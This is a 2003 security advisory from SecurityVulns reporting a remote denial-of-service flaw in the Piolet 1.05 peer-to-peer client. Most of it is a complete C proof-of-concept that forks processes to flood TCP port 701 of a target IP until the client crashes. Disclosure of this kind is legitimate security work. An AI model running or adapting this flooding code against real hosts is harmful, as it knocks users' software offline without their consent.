Piolet client vulnerable to a remote DoS

2003-08-20T00:00:00
ID SECURITYVULNS:DOC:5011
Type securityvulns
Reporter Securityvulns
Modified 2003-08-20T00:00:00

Description

What's Piolet: Piolet is a peer-to-peer file sharing client. More information can be found at www.piolet.com

Vulnerability Description: By connecting TCP port 701, client show to user a "voice chat session request" message. Flooding this port, a remote attacker could cause the application to crash. This attack
will go unlogged.

Affected Software: Piolet ver. 1.05

Exploit:

/********* * Piolet client v1.05 Remote Denial of Service * Proof of Concept by Luca Ercoli luca.ercoli[at]inwind.it * **********/

include <stdio.h>

include <string.h>

include <netinet/in.h>

include <sys/socket.h>

include <sys/types.h>

int ck,port=701,sd,cx=0,contatore=0,prec;

struct sockaddr_in pilot_client;

void ending(char *client){

int i;

pilot_client.sin_family = AF_INET; pilot_client.sin_port = htons((u_short)port); pilot_client.sin_addr.s_addr = (long)inet_addr(client);

for(i = 0; i < 100; i++){

sd = socket(AF_INET, SOCK_STREAM, 0); ck = connect(sd, (struct sockaddr *) &pilot_client, sizeof(pilot_client));

if(ck != 0) {

prec = 0;

if (prec == 0) contatore++; if (prec == 1) contatore = 0;

if (contatore > 13) { printf("! Remote client seems to be crashed.\n"); exit(0); }

}

if(ck == 0) prec = 1;

close(sd); }

}

void kill_pilot(char *stringa){

short i;

pilot_client.sin_family = AF_INET; pilot_client.sin_port = htons((u_short)port); pilot_client.sin_addr.s_addr = (long)inet_addr(stringa);

for(i = 0; i < 50; i++){

sd = socket(AF_INET, SOCK_STREAM, 0); ck = connect(sd, (struct sockaddr *) &pilot_client, sizeof(pilot_client));

if(ck != 0) exit(0);

close(sd);

}

}

int main(int argc, char **argv) {

short i;

prec = 0;

if(argc < 2) { printf("\nUsage: %s <client-ip>\n", argv[0]); exit(0); }

prec=0;

printf ("\n\n+ DoS Started...\n"); printf("+ Flooding remote client...\n");

for (i=0; i<12; i++) if(!fork()) kill_pilot(argv[1]);

printf ("+ Ending...\n");

ending(argv[1]);

}

-- Luca Ercoli luca.ercoli[at]inwind.it